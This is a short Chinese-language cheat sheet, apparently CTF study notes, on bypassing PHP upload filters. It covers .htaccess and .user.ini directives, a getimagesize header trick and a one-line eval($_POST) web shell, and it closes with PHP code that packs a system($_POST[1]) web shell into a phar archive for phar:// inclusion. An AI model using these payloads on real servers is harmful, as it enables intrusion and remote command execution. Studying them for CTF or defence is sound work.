开头可能会用到的提示

  • 除了PHP,php3 4 5 | phar | pht | phtml都是可能会解析的

  • 如果是apache(httpd) , 使用.htaccess 写入SetHandler application/x-httpd-php , 那么上传任意文件会被解析成php

  • 如果是apache(httpd) , 使用.htaccess, 写入AddType application/x-httpd-php .jpg 会把当前目录的jpg当成php解析

  • nginx,使用.user.ini 写入(当前目录有php文件才会生效),auto_prepend_file=shell.jpg或者auto_append_file=shell.jpg,上传shell.jpg被解析为php

  • .user.ini, auto_prepend_file=php://input | auto_append_file=php://input,也可以这样写,上传后访问上传目录的php里面,POST传入php代码

  • auto_prepend_file | auto_append_file也可以尝试包含日志,直接日志注入

  • getimagesize绕过,如果使用了这个检测函数,可以在文件头写入下面的代码,让这个函数认为上传的文件是jpg

    #define width 114
    #define height 514

  • []被检测可以使用{}

  • eval($_POST[cmd]); 如果$_POST[cmd]用不了,可以array_pop($_POST),然后 post随便传入值即可

  • 利用语言结构,使用include包含日志文件

  • 如果空格被过滤,使用\n也就是0d,改十六进制数据

  • include远程包含

一些总结点

pear文件包含

首先生成一个phar文件,执行下面的php代码

1
2
3
4
5
6
7
8
<?php
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','<?php system($_POST[1]);?>');
$phar -> stopBuffering();

?>

生成的phar.phar里面,如果用phar协议读取(搭配文件包含),phar:///phar.phar/test.txt,那么里面的代码就会被执行,phar.phar也可以是其他文件名,例如p.zip